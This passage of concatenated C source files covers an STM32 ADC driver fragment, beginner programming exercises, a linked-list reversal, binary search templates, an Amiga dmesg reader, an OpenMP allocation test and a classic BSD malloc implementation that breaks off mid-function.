/* Check the parameters */
assert_param(IS_ADC_ALL_INSTANCE(ADCx));
assert_param(IS_LL_ADC_CLOCK(ADC_InitStruct->Clock));
assert_param(IS_LL_ADC_RESOLUTION(ADC_InitStruct->Resolution));
assert_param(IS_LL_ADC_DATA_ALIGN(ADC_InitStruct->DataAlignment));
assert_param(IS_LL_ADC_LOW_POWER(ADC_InitStruct->LowPowerMode));
/* Note: Hardware constraint (refer to description of this function): */
/* ADC instance must be disabled. */
if (LL_ADC_IsEnabled(ADCx) == 0UL)
{
/* Configuration of ADC hierarchical scope: */
/* - ADC instance */
/* - Set ADC data resolution */
/* - Set ADC conversion data alignment */
/* - Set ADC low power mode */
MODIFY_REG(ADCx->CFGR1,
ADC_CFGR1_RES
| ADC_CFGR1_ALIGN
| ADC_CFGR1_WAIT
| ADC_CFGR1_AUTOFF
,
ADC_InitStruct->Resolution
| ADC_InitStruct->DataAlignment
| ADC_InitStruct->LowPowerMode
);
MODIFY_REG(ADCx->CFGR2,
ADC_CFGR2_CKMODE
,
ADC_InitStruct->Clock
);
}
else
{
/* Initialization error: ADC instance is not disabled. */
status = ERROR;
}
return status;
}
/**
* @brief Set each @ref LL_ADC_InitTypeDef field to default value.
* @param ADC_InitStruct Pointer to a @ref LL_ADC_InitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_ADC_StructInit(LL_ADC_InitTypeDef *ADC_InitStruct)
{
/* Set ADC_InitStruct fields to default values */
/* Set fields of ADC instance */
ADC_InitStruct->Clock = LL_ADC_CLOCK_SYNC_PCLK_DIV2;
ADC_InitStruct->Resolution = LL_ADC_RESOLUTION_12B;
ADC_InitStruct->DataAlignment = LL_ADC_DATA_ALIGN_RIGHT;
ADC_InitStruct->LowPowerMode = LL_ADC_LP_MODE_NONE;
}
/**
* @brief Initialize some features of ADC group regular.
* @note These parameters have an impact on ADC scope: ADC group regular.
* Refer to corresponding unitary functions into
* @ref ADC_LL_EF_Configuration_ADC_Group_Regular
* (functions with prefix "REG").
* @note The setting of these parameters by function @ref LL_ADC_Init()
* is conditioned to ADC state:
* ADC instance must be disabled.
* This condition is applied to all ADC features, for efficiency
* and compatibility over all STM32 families. However, the different
* features can be set under different ADC state conditions
* (setting possible with ADC enabled without conversion on going,
* ADC enabled with conversion on going, ...)
* Each feature can be updated afterwards with a unitary function
* and potentially with ADC in a different state than disabled,
* refer to description of each function for setting
* conditioned to ADC state.
* @note Before using this function, ADC group regular sequencer
* must be configured: refer to function
* @ref LL_ADC_REG_SetSequencerConfigurable().
* @note After using this function, other features must be configured
* using LL unitary functions.
* The minimum configuration remaining to be done is:
* - Set ADC group regular sequencer:
* Depending on the sequencer mode (refer to
* function @ref LL_ADC_REG_SetSequencerConfigurable() ):
* - map channel on the selected sequencer rank.
* Refer to function @ref LL_ADC_REG_SetSequencerRanks();
* - map channel on rank corresponding to channel number.
* Refer to function @ref LL_ADC_REG_SetSequencerChannels();
* - Set ADC channel sampling time
* Refer to function LL_ADC_SetSamplingTimeCommonChannels();
* Refer to function LL_ADC_SetChannelSamplingTime();
* @param ADCx ADC instance
* @param ADC_REG_InitStruct Pointer to a @ref LL_ADC_REG_InitTypeDef structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: ADC registers are initialized
* - ERROR: ADC registers are not initialized
*/
ErrorStatus LL_ADC_REG_Init(ADC_TypeDef *ADCx, LL_ADC_REG_InitTypeDef *ADC_REG_InitStruct)
{
ErrorStatus status = SUCCESS;
/* Check the parameters */
assert_param(IS_ADC_ALL_INSTANCE(ADCx));
assert_param(IS_LL_ADC_REG_TRIG_SOURCE(ADC_REG_InitStruct->TriggerSource));
assert_param(IS_LL_ADC_REG_CONTINUOUS_MODE(ADC_REG_InitStruct->ContinuousMode));
assert_param(IS_LL_ADC_REG_DMA_TRANSFER(ADC_REG_InitStruct->DMATransfer));
assert_param(IS_LL_ADC_REG_OVR_DATA_BEHAVIOR(ADC_REG_InitStruct->Overrun));
if (LL_ADC_REG_GetSequencerConfigurable(ADCx) != LL_ADC_REG_SEQ_FIXED)
{
assert_param(IS_LL_ADC_REG_SEQ_SCAN_LENGTH(ADC_REG_InitStruct->SequencerLength));
}
if ((LL_ADC_REG_GetSequencerConfigurable(ADCx) == LL_ADC_REG_SEQ_FIXED)
|| (ADC_REG_InitStruct->SequencerLength != LL_ADC_REG_SEQ_SCAN_DISABLE)
)
{
assert_param(IS_LL_ADC_REG_SEQ_SCAN_DISCONT_MODE(ADC_REG_InitStruct->SequencerDiscont));
/* ADC group regular continuous mode and discontinuous mode */
/* can not be enabled simultenaeously */
assert_param((ADC_REG_InitStruct->ContinuousMode == LL_ADC_REG_CONV_SINGLE)
|| (ADC_REG_InitStruct->SequencerDiscont == LL_ADC_REG_SEQ_DISCONT_DISABLE));
}
/* Note: Hardware constraint (refer to description of this function): */
/* ADC instance must be disabled. */
if (LL_ADC_IsEnabled(ADCx) == 0UL)
{
/* Configuration of ADC hierarchical scope: */
/* - ADC group regular */
/* - Set ADC group regular trigger source */
/* - Set ADC group regular sequencer length */
/* - Set ADC group regular sequencer discontinuous mode */
/* - Set ADC group regular continuous mode */
/* - Set ADC group regular conversion data transfer: no transfer or */
/* transfer by DMA, and DMA requests mode */
/* - Set ADC group regular overrun behavior */
/* Note: On this STM32 series, ADC trigger edge is set to value 0x0 by */
/* setting of trigger source to SW start. */
if ((LL_ADC_REG_GetSequencerConfigurable(ADCx) == LL_ADC_REG_SEQ_FIXED)
|| (ADC_REG_InitStruct->SequencerLength != LL_ADC_REG_SEQ_SCAN_DISABLE)
)
{
/* Case of sequencer mode fixed
or sequencer length >= 2 ranks with sequencer mode fully configurable:
discontinuous mode configured */
MODIFY_REG(ADCx->CFGR1,
ADC_CFGR1_EXTSEL
| ADC_CFGR1_EXTEN
| ADC_CFGR1_DISCEN
| ADC_CFGR1_CONT
| ADC_CFGR1_DMAEN
| ADC_CFGR1_DMACFG
| ADC_CFGR1_OVRMOD
,
ADC_REG_InitStruct->TriggerSource
| ADC_REG_InitStruct->SequencerDiscont
| ADC_REG_InitStruct->ContinuousMode
| ADC_REG_InitStruct->DMATransfer
| ADC_REG_InitStruct->Overrun
);
}
else
{
/* Case of sequencer mode fully configurable
and sequencer length 1 rank (sequencer disabled):
discontinuous mode discarded (fixed to disable) */
MODIFY_REG(ADCx->CFGR1,
ADC_CFGR1_EXTSEL
| ADC_CFGR1_EXTEN
| ADC_CFGR1_DISCEN
| ADC_CFGR1_CONT
| ADC_CFGR1_DMAEN
| ADC_CFGR1_DMACFG
| ADC_CFGR1_OVRMOD
,
ADC_REG_InitStruct->TriggerSource
| LL_ADC_REG_SEQ_DISCONT_DISABLE
| ADC_REG_InitStruct->ContinuousMode
| ADC_REG_InitStruct->DMATransfer
| ADC_REG_InitStruct->Overrun
);
}
/* Set ADC group regular sequencer length */
if (LL_ADC_REG_GetSequencerConfigurable(ADCx) != LL_ADC_REG_SEQ_FIXED)
{
LL_ADC_REG_SetSequencerLength(ADCx, ADC_REG_InitStruct->SequencerLength);
}
}
else
{
/* Initialization error: ADC instance is not disabled. */
status = ERROR;
}
return status;
}
/**
* @brief Set each @ref LL_ADC_REG_InitTypeDef field to default value.
* @param ADC_REG_InitStruct Pointer to a @ref LL_ADC_REG_InitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_ADC_REG_StructInit(LL_ADC_REG_InitTypeDef *ADC_REG_InitStruct)
{
/* Set ADC_REG_InitStruct fields to default values */
/* Set fields of ADC group regular */
/* Note: On this STM32 series, ADC trigger edge is set to value 0x0 by */
/* setting of trigger source to SW start. */
ADC_REG_InitStruct->TriggerSource = LL_ADC_REG_TRIG_SOFTWARE;
ADC_REG_InitStruct->SequencerLength = LL_ADC_REG_SEQ_SCAN_DISABLE;
ADC_REG_InitStruct->SequencerDiscont = LL_ADC_REG_SEQ_DISCONT_DISABLE;
ADC_REG_InitStruct->ContinuousMode = LL_ADC_REG_CONV_SINGLE;
ADC_REG_InitStruct->DMATransfer = LL_ADC_REG_DMA_TRANSFER_NONE;
ADC_REG_InitStruct->Overrun = LL_ADC_REG_OVR_DATA_OVERWRITTEN;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* ADC */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/91242.c | /* common.c
*
* Functions for debugging and logging as well as some other
* simple helper functions.
*
* Russ Dill <[email protected]> 2001-2003
* Rewrited by Vladimir Oleynik <[email protected]> (C) 2003
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/ |
the_stack_data/1029657.c | /* Exercise 1 - Calculations
Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */
#include <stdio.h>
int main() {
int num1,num2;
float average;
printf("Enter number 1:");
scanf("%d",&num1);
printf("Enter number 2:");
scanf("%d",&num2);
average = (num1 + num2)/2.0;
printf("The Average : %.2f",average);
return 0;
}
|
the_stack_data/18888485.c | #include <assert.h>
#include <limits.h>
#include <math.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char* readline();
typedef struct DoublyLinkedListNode DoublyLinkedListNode;
typedef struct DoublyLinkedList DoublyLinkedList;
struct DoublyLinkedListNode {
int data;
DoublyLinkedListNode* next;
DoublyLinkedListNode* prev;
};
struct DoublyLinkedList {
DoublyLinkedListNode* head;
DoublyLinkedListNode* tail;
};
DoublyLinkedListNode* create_doubly_linked_list_node(int node_data) {
DoublyLinkedListNode* node = malloc(sizeof(DoublyLinkedListNode));
node->data = node_data;
node->next = NULL;
node->prev = NULL;
return node;
}
void insert_node_into_doubly_linked_list(DoublyLinkedList** doubly_linked_list, int node_data) {
DoublyLinkedListNode* node = create_doubly_linked_list_node(node_data);
if (!(*doubly_linked_list)->head) {
(*doubly_linked_list)->head = node;
} else {
(*doubly_linked_list)->tail->next = node;
node->prev = (*doubly_linked_list)->tail;
}
(*doubly_linked_list)->tail = node;
}
void print_doubly_linked_list(DoublyLinkedListNode* node, char* sep, FILE* fptr) {
while (node) {
fprintf(fptr, "%d", node->data);
node = node->next;
if (node) {
fprintf(fptr, "%s", sep);
}
}
}
void free_doubly_linked_list(DoublyLinkedListNode* node) {
while (node) {
DoublyLinkedListNode* temp = node;
node = node->next;
free(temp);
}
}
// Complete the reverse function below.
/*
* For your reference:
*
* DoublyLinkedListNode {
* int data;
* DoublyLinkedListNode* next;
* DoublyLinkedListNode* prev;
* };
*
*/
DoublyLinkedListNode* insertAtFront(DoublyLinkedListNode* head, int data) {
DoublyLinkedListNode* newNode = create_doubly_linked_list_node(data);
if (head == NULL) return newNode;
newNode -> next = head;
head -> prev = newNode;
return newNode;
}
DoublyLinkedListNode* reverse(DoublyLinkedListNode* head) {
DoublyLinkedListNode* new_list = NULL;
while (head != NULL) {
new_list = insertAtFront(new_list, head -> data);
head = head -> next;
}
return new_list;
}
int main()
{
FILE* fptr = fopen(getenv("OUTPUT_PATH"), "w");
char* t_endptr;
char* t_str = readline();
int t = strtol(t_str, &t_endptr, 10);
if (t_endptr == t_str || *t_endptr != '\0') { exit(EXIT_FAILURE); }
for (int t_itr = 0; t_itr < t; t_itr++) {
DoublyLinkedList* llist = malloc(sizeof(DoublyLinkedList));
llist->head = NULL;
llist->tail = NULL;
char* llist_count_endptr;
char* llist_count_str = readline();
int llist_count = strtol(llist_count_str, &llist_count_endptr, 10);
if (llist_count_endptr == llist_count_str || *llist_count_endptr != '\0') { exit(EXIT_FAILURE); }
for (int i = 0; i < llist_count; i++) {
char* llist_item_endptr;
char* llist_item_str = readline();
int llist_item = strtol(llist_item_str, &llist_item_endptr, 10);
if (llist_item_endptr == llist_item_str || *llist_item_endptr != '\0') { exit(EXIT_FAILURE); }
insert_node_into_doubly_linked_list(&llist, llist_item);
}
DoublyLinkedListNode* llist1 = reverse(llist->head);
char *sep = " ";
print_doubly_linked_list(llist1, sep, fptr);
fprintf(fptr, "\n");
free_doubly_linked_list(llist1);
}
fclose(fptr);
return 0;
}
char* readline() {
size_t alloc_length = 1024;
size_t data_length = 0;
char* data = malloc(alloc_length);
while (true) {
char* cursor = data + data_length;
char* line = fgets(cursor, alloc_length - data_length, stdin);
if (!line) { break; }
data_length += strlen(cursor);
if (data_length < alloc_length - 1 || data[data_length - 1] == '\n') { break; }
size_t new_length = alloc_length << 1;
data = realloc(data, new_length);
if (!data) { break; }
alloc_length = new_length;
}
if (data[data_length - 1] == '\n') {
data[data_length - 1] = '\0';
}
data = realloc(data, data_length);
return data;
}
|
the_stack_data/206393004.c | int check(int mid_value)
{
// to do fix
return mid_value;
}
int binary_search1(int q[], int l, int r)
{
while (l < r) {
int mid = l + r + 1 >> 1;
if(check(q[mid])) l = mid;
else r = mid - 1;
}
return l;
}
int binary_search2(int q[], int l, int r)
{
while (l < r) {
int mid = l + r >> 1;
if(check(q[mid])) r = mid;
else l = mid + 1;
}
return l;
}
|
the_stack_data/45449105.c | #include <stdio.h>
int main(void) {
struct horario
{
int horas;
int minutos;
int segundos;
double teste;
char letra;
};
struct horario agora;
agora.horas = 15;
agora.minutos = 17;
agora.segundos = 30;
struct horario depois;
depois.horas = agora.horas + 10;
depois.minutos = agora.minutos;
depois.teste = 50.55 / 123;
depois.letra = 'a';
printf("%i\n", depois.horas);
printf("%i\n", depois.minutos);
printf("%f\n", depois.teste);
printf("%c\n", depois.letra);
return 0;
} |
the_stack_data/36076167.c | /*P5.24 Program to understand nesting in for loop*/
#include<stdio.h>
int main(void)
{
int i,j;
for(i=1; i<=3; i++) /*outer loop*/
{
printf("i=%d\n",i);
for(j=1; j<=4; j++) /*inner loop*/
printf("j=%d\t",j);
printf("\n");
}
return 0;
}
|
the_stack_data/200142235.c | #include <stdio.h>
int main(int argc, char* argv[])
{
printf("Running command: %s with %d arguments\n", argv[0], argc);
return 0;
}
|
the_stack_data/28261727.c | /*
* linux/arch/m68k/tools/amiga/dmesg.c -- Retrieve the kernel messages stored
* in Chip RAM with the kernel command
* line option `debug=mem'.
*
* © Copyright 1996 by Geert Uytterhoeven <[email protected]>
*
*
* Usage:
*
* dmesg
* dmesg <CHIPMEM_END>
*
*
* This file is subject to the terms and conditions of the GNU General Public
* License. See the file COPYING in the main directory of the Linux
* distribution for more details.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define CHIPMEM_START 0x00000000
#define CHIPMEM_END 0x00200000 /* overridden by argv[1] */
#define SAVEKMSG_MAGIC1 0x53415645 /* 'SAVE' */
#define SAVEKMSG_MAGIC2 0x4B4D5347 /* 'KMSG' */
struct savekmsg {
u_long magic1; /* SAVEKMSG_MAGIC1 */
u_long magic2; /* SAVEKMSG_MAGIC2 */
u_long magicptr; /* address of magic1 */
u_long size;
char data[];
};
int main(int argc, char *argv[])
{
u_long start = CHIPMEM_START, end = CHIPMEM_END, p;
int found = 0;
struct savekmsg *m = NULL;
if (argc >= 2)
end = strtoul(argv[1], NULL, 0);
printf("Searching for SAVEKMSG magic...\n");
for (p = start; p <= end-sizeof(struct savekmsg); p += 4) {
m = (struct savekmsg *)p;
if ((m->magic1 == SAVEKMSG_MAGIC1) && (m->magic2 == SAVEKMSG_MAGIC2) &&
(m->magicptr == p)) {
found = 1;
break;
}
}
if (!found)
printf("Not found\n");
else {
printf("Found %ld bytes at 0x%08lx\n", m->size, (u_long)&m->data);
puts(">>>>>>>>>>>>>>>>>>>>");
fflush(stdout);
write(1, &m->data, m->size);
fflush(stdout);
puts("<<<<<<<<<<<<<<<<<<<<");
}
return(0);
}
|
the_stack_data/1043146.c | #include <stdio.h>
int main () {
int count, step;
float price, discount = 0, total = 0;
scanf("%d", &count);
scanf("%f", &price);
scanf("%d", &step);
for (int i = 1; i <= count; i++) {
total += price - (price * discount / 100);
if (!(i % step)) {
discount += 2;
}
}
printf("%.0f\n", total);
}
|
the_stack_data/103266648.c | void NoDepAFunction();
void NoDepCFunction()
{
NoDepAFunction();
}
|
the_stack_data/218892843.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
int test, run = 0; scanf("%d", &test);
for (run = 1; run <= test; run ++)
{
getchar();
int nums, ler;
scanf("%d", &nums);
char number[nums][9999];
int quanti[nums];
int i, j;
for (ler = 0; ler < nums; ler ++)
{
quanti[nums] = 0;
char aux[9999];
int iM;
for (iM = 0; iM < 7; iM ++)
{
scanf("%c", &aux[iM]);
if (aux[iM] == '-' || aux[iM] == '\n' || aux[iM] == ' ')
{
iM --;
}
}
for (i = 0, j = 0; i < strlen(aux); i ++)
{
if (aux[i] != '-')
{
if (aux[i] >= 'A' && aux[i] <= 'C')
{
number[ler][j] = '2';
}
else if (aux[i] >= 'D' && aux[i] <= 'F')
{
number[ler][j] = '3';
}
else if (aux[i] >= 'G' && aux[i] <= 'I')
{
number[ler][j] = '4';
}
else if (aux[i] >= 'J' && aux[i] <= 'L')
{
number[ler][j] = '5';
}
else if (aux[i] >= 'M' && aux[i] <= 'O')
{
number[ler][j] = '6';
}
else if (aux[i] >= 'P' && aux[i] <= 'S')
{
number[ler][j] = '7';
}
else if (aux[i] >= 'T' && aux[i] <= 'V')
{
number[ler][j] = '8';
}
else if (aux[i] >= 'W' && aux[i] <= 'Y')
{
number[ler][j] = '9';
}
else
{
number[ler][j] = aux[i];
}
j ++;
}
}
}
int o, b; char auxC[9999];
int vezes, yep = 0;
for (o = 0; o < nums;)
{
b = o; vezes = 0;
//printf("%s~%d\n", number[o], o);
while (strcmp(number[o], number[b]) == 0)
{
b ++;
vezes ++;
if (b >= nums)
{
break;
}
}
if (vezes > 1)
{
yep ++;
for (i = 0; i < 7; i ++)
{
printf("%c", number[o][i]);
if (i == 2)
{
printf("-");
}
}
printf(" %d\n", vezes);
}
if (vezes > 0)
{
o += vezes;
}
else
{
o ++;
}
}
if (yep == 0)
{
printf("No duplicates.\n");
}
else
{
printf("\n");
}
}
return(0);
}
|
the_stack_data/98576498.c | // clang-format off
// RUN: %run %s --omp --call-filter 2>&1 | FileCheck %s --check-prefix=CHECK-TSAN
// RUN: %run %s -o -O2 --omp --call-filter 2>&1 | FileCheck %s --check-prefix=CHECK-TSAN
// RUN: %run %s -o -O2 --omp --call-filter 2>&1 | FileCheck %s
// RUN: %run %s --omp --call-filter 2>&1 | FileCheck %s
// REQUIRES: openmp && softcounter
// clang-format on
#include <stdlib.h>
void ptr(const int n) {
// Sections can sometimes cause Max. Heap Allocs to be 1 (instead of more likely 2), if
// thread execution order always frees one pointer before malloc of other.
#pragma omp parallel sections num_threads(2)
{
#pragma omp section
for (int i = 1; i <= n; i++) {
double* d = (double*)malloc(sizeof(double) * n);
free(d);
}
#pragma omp section
for (int i = 1; i <= n; i++) {
double* e = (double*)malloc(2 * sizeof(double) * n);
free(e);
}
}
}
int main(int argc, char** argv) {
const int n = 100;
ptr(n);
// CHECK-TSAN-NOT: ThreadSanitizer
// CHECK: [Trace] TypeART Runtime Trace
// CHECK-NOT: [Error]
// CHECK: Alloc Stats from softcounters
// CHECK-NEXT: Total heap : 200 , 200 , -
// CHECK-NEXT: Total stack : 0 , 0 , -
// CHECK-NEXT: Total global : 0 , 0 , -
// CHECK-NEXT: Max. Heap Allocs : {{[1-2]}} , - , -
// CHECK-NEXT: Max. Stack Allocs : 0 , - , -
// CHECK-NEXT: Addresses checked : 0 , - , -
// CHECK-NEXT: Distinct Addresses checked : 0 , - , -
// CHECK-NEXT: Addresses re-used : 0 , - , -
// CHECK-NEXT: Addresses missed : 0 , - , -
// CHECK-NEXT: Distinct Addresses missed : 0 , - , -
// CHECK-NEXT: Total free heap : 200 , 200 , -
// CHECK-NEXT: Total free stack : 0 , 0 , -
// CHECK-NEXT: OMP Stack/Heap/Free : 0 , 200 , 200
// CHECK-NEXT: Null/Zero/NullZero Addr : 0 , 0 , 0
// CHECK-NEXT: User-def. types : 0 , - , -
// CHECK-NEXT: Estimated memory use (KiB) : {{[0-9]+}} , - , -
// CHECK-NEXT: Bytes per node map/stack : 96 , 8 , -
// CHECK-NEXT: {{(#|-)+}}
// CHECK-NEXT: Allocation type detail (heap, stack, global)
// CHECK: {{(#|-)+}}
// CHECK-NEXT: Free allocation type detail (heap, stack)
// CHECK-NEXT: 6 : 200 , 0 , double
// CHECK: Per-thread counter values (2 threads)
// CHECK-NEXT: Thread Heap Allocs : 100 , 100
// CHECK-NEXT: Thread Heap Arrays : 100 , 100
// CHECK-NEXT: Thread Heap Allocs Free : 100 , 100
// CHECK-NEXT: Thread Heap Arrays Free : 100 , 100
// CHECK-NEXT: Thread Stack Allocs : 0 , 0
// CHECK-NEXT: Thread Stack Arrays : 0 , 0
// CHECK-NEXT: Thread Max. Stack Allocs : 0 , 0
// CHECK-NEXT: Thread Stack Allocs Free : 0 , 0
// CHECK-NEXT: Thread Stack Array Free : 0 , 0
return 0;
} |
the_stack_data/182953023.c | /*
* Copyright (c) 1983 Regents of the University of California.
* All rights reserved. The Berkeley software License Agreement
* specifies the terms and conditions for redistribution.
*/
/*
* malloc.c (Caltech) 2/21/82
* Chris Kingsley, kingsley@cit-20.
*
* This is a very fast storage allocator. It allocates blocks of a small
* number of different sizes, and keeps free lists of each size. Blocks that
* don't exactly fit are passed up to the next larger size. In this
* implementation, the available sizes are 2^n-4 (or 2^n-10) bytes long.
* This is designed for use in a virtual memory environment.
*/
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#ifndef NULL
#define NULL 0
#endif
/*
* The overhead on a block is at least 4 bytes. When free, this space
* contains a pointer to the next free block, and the bottom two bits must
* be zero. When in use, the first byte is set to MAGIC, and the second
* byte is the size index. The remaining bytes are for alignment.
* If range checking is enabled then a second word holds the size of the
* requested block, less 1, rounded up to a multiple of sizeof(RMAGIC).
* The order of elements is critical: ov_magic must overlay the low order
* bits of ov_next, and ov_magic can not be a valid ov_next bit pattern.
*/
union overhead {
union overhead *ov_next; /* when free */
struct {
u_char ovu_magic; /* magic number */
u_char ovu_index; /* bucket # */
#ifdef RCHECK
u_short ovu_rmagic; /* range magic number */
u_int ovu_size; /* actual block size */
#endif
} ovu;
#define ov_magic ovu.ovu_magic
#define ov_index ovu.ovu_index
#define ov_rmagic ovu.ovu_rmagic
#define ov_size ovu.ovu_size
};
#define MAGIC 0xef /* magic # on accounting info */
#define RMAGIC 0x5555 /* magic # on range info */
#ifdef RCHECK
#define RSLOP sizeof (u_short)
#else
#define RSLOP 0
#endif
/*
* nextf[i] is the pointer to the next free block of size 2^(i+3). The
* smallest allocatable block is 8 bytes. The overhead information
* precedes the data area returned to the user.
*/
#define NBUCKETS 30
static union overhead *nextf[NBUCKETS];
extern char *sbrk();
static int pagesz; /* page size */
static int pagebucket; /* page size bucket */
/*
* nmalloc[i] is the difference between the number of mallocs and frees
* for a given block size.
*/
static u_int nmalloc[NBUCKETS];
#if defined(DEBUG) || defined(RCHECK)
#define ASSERT(p) if (!(p)) botch("p")
static
botch(s)
char *s;
{
printf("\r\nassertion botched: %s\r\n", s);
abort();
}
#else
#define ASSERT(p)
#endif
void *
malloc(nbytes)
size_t nbytes;
{
register union overhead *op;
register int bucket;
register unsigned amt, n;
/*
* First time malloc is called, setup page size and
* align break pointer so all data will be page aligned.
*/
if (pagesz == 0) {
pagesz = n = getpagesize();
op = (union overhead *)sbrk(0);
n = n - sizeof (*op) - ((int)op & (n - 1));
if (n < 0)
n += pagesz;
if (n) {
if (sbrk(n) == (char *)-1)
return (NULL);
}
bucket = 0;
amt = 8;
while (pagesz > amt) {
amt <<= 1;
bucket++;
}
pagebucket = bucket;
}
/*
* Convert amount of memory requested into closest block size
* stored in hash buckets which satisfies request.
* Account for space used per block for accounting.
*/
if (nbytes <= (n = pagesz - sizeof (*op) - RSLOP)) {
#ifndef RCHECK
amt = 8; /* size of first bucket */
bucket = 0;
#else
amt = 16; /* size of first bucket */
bucket = 1;
#endif
n = -(sizeof (*op) + RSLOP);
} else {
amt = pagesz;
bucket = pagebucket;
}
while (nbytes > amt + n) {
amt <<= 1;
if (amt == 0)
return (NULL);
bucket++;
}
/*
* If nothing in hash bucket right now,
* request more memory from the system.
*/
if ((op = nextf[bucket]) == NULL) {
morecore(bucket);
if ((op = nextf[bucket]) == NULL)
return (NULL);
}
/* remove from linked list */
nextf[bucket] = op->ov_next;
op->ov_magic = MAGIC;
op->ov_index = bucket;
nmalloc[bucket]++;
#ifdef RCHECK
/*
* Record allocated size of block and
* bound space with magic numbers.
*/
op->ov_size = (nbytes + RSLOP - 1) & ~(RSLOP - 1);
op->ov_rmagic = RMAGIC;
*(u_short *)((caddr_t)(op + 1) + op->ov_size) = RMAGIC;
#endif
return ((char *)(op + 1));
}
/*
* Allocate more memory to the indicated bucket.
*/
morecore(bucket)
int bucket;
{
register union overhead *op;
register int sz; /* size of desired block */
int amt; /* amount to allocate */
int nblks; /* how many blocks we get */
/*
* sbrk_size <= 0 only for big, FLUFFY, requests (about
* 2^30 bytes on a VAX, I think) or for a negative arg.
*/
sz = 1 << (bucket + 3);
#ifdef DEBUG
ASSERT(sz > 0);
#else
if (sz <= 0)
return;
#endif
if (sz < pagesz) {
amt = pagesz;
nblks = amt / sz;
} else {
amt = sz + pagesz;
nblks = 1;
}
op = (union overhead *)sbrk(amt);
/* no more room! */
if ((int)op == -1)
return;
/*
* Add new memory allocated to that on
* free list for this hash bucket.
*/
nextf[bucket] = op;
while (--nblks > 0) {
op->ov_next = (union overhead *)((caddr_t)op + sz);
op = (union overhead *)((caddr_t)op + sz);
}
}
void free(cp)
void *cp;
{
register int size;
register union overhead *op;
if (cp == NULL)
return;
op = (union overhead *)((caddr_t)cp - sizeof (union overhead));
/*
* The following botch is because csh tries to free a free block
* when processing the =~ or !~ operators. -- layer@ucbmonet
*/
#ifdef CSHbotch /* was DEBUG */
ASSERT(op->ov_magic == MAGIC); /* make sure it was in use */
#else
if (op->ov_magic != MAGIC)
return; /* sanity */
#endif
#ifdef RCHECK
ASSERT(op->ov_rmagic == RMAGIC);
ASSERT(*(u_short *)((caddr_t)(op + 1) + op->ov_size) == RMAGIC);
#endif
size = op->ov_index;
ASSERT(size < NBUCKETS);
op->ov_next = nextf[size]; /* also clobbers ov_magic */
nextf[size] = op;
nmalloc[size]--;
}
/*
* Search ``srchlen'' elements of each free list for a block whose
* header starts at ``freep''. If srchlen is -1 search the whole list.
* Return bucket number, or -1 if not found.
*/
static
findbucket(freep, srchlen)
union overhead *freep;
int srchlen;
{
register union overhead *p;
register int i, j;
for (i = 0; i < NBUCKETS; i++) {
j = 0;
for (p = nextf[i]; p && j != srchlen; p = p->ov_next) {
if (p == freep)
return (i);
j++;
}
}
return (-1);
}
/*
* When a program attempts "storage compaction" as mentioned in the
* old malloc man page, it realloc's an already freed block. Usually
* this is the last block it freed; occasionally it might be farther
* back. We have to search all the free lists for the block in order
* to determine its bucket: 1st we make one pass thru the lists
* checking only the first block in each; if that fails we search
* ``realloc_srchlen'' blocks in each list for a match (the variable
* is extern so the caller can modify it). If that fails we just copy
* however many bytes was given to realloc() and hope it's not huge.
*/
int realloc_srchlen = 4; /* 4 should be plenty, -1 =>'s whole list */
void *
realloc(cp, nbytes)
void *cp;
size_t nbytes;
{
register u_int onb, i;
union overhead *op;
char *res;
int was_alloced = 0;
if (cp == NULL)
return (malloc(nbytes));
op = (union overhead *)((caddr_t)cp - sizeof (union overhead));
if (op->ov_magic == MAGIC) {
was_alloced++;
i = op->ov_index;
} else {
/*
* Already free, doing "compaction".
*
* Search for the old block of memory on the
* free list. First, check the most common
* case (last element free'd), then (this failing)
* the last ``realloc_srchlen'' items free'd.
* If all lookups fail, then assume the size of
* the memory block being realloc'd is the
* largest possible (so that all "nbytes" of new
* memory are copied into). Note that this could cause
* a memory fault if the old area was tiny, and the moon
* is gibbous. However, that is very unlikely.
*/
if ((i = findbucket(op, 1)) < 0 &&
(i = findbucket(op, realloc_srchlen)) < 0)
i = NBUCKETS;
}
onb = 1 << (i + 3);
if (onb < pagesz)
onb -= sizeof (*op) + RSLOP;
else
onb += pagesz - sizeof (*op) - RSLOP;
/* avoid the copy if same size block */
if (was_alloced) {
if (i) {
i = 1 << (i + 2);
if (i < pagesz)
i -= sizeof (*op) + RSLOP;
else
i += pagesz - sizeof (*op) - RSLOP;
}
if (nbytes <= onb && nbytes > i) {
#ifdef RCHECK
op->ov_size = (nbytes + RSLOP - 1) & ~(RSLOP - 1);
*(u_short *)((caddr_t)(op + 1) + op->ov_size) = RMAGIC;
#endif
return(cp);
} else
free(cp);
}
if ((res = malloc(nbytes)) == NULL)
return (NULL);
if (cp != res) /* common optimization if "compacting" */
bcopy(cp, res, (nbytes < onb) ? nbytes : onb);
return (res);
}
/*
* mstats - print out statistics about malloc
*
* Prints two lines of numbers, one showing the length of the free list
* for each size category, the second showing the number of mallocs -
* frees for each size category.
*/
showall(s)
char **s;
{
register int i, j;
register union overhead *p;
int totfree = 0,
totused = 0;
if (s[1])
printf("Memory allocation statistics %s\nfree:", s[1]);
for (i = 0; i < NBUCKETS; i++) {
for (j = 0, p = nextf[i]; p; p = p->ov_next, j++)
;
if (s[1])
printf(" %d", j);
totfree += j * (1 << (i + 3));
}
if (s[1])
printf("\nused:");
for (i = 0; i < NBUCKETS; i++) {
if (s[1])
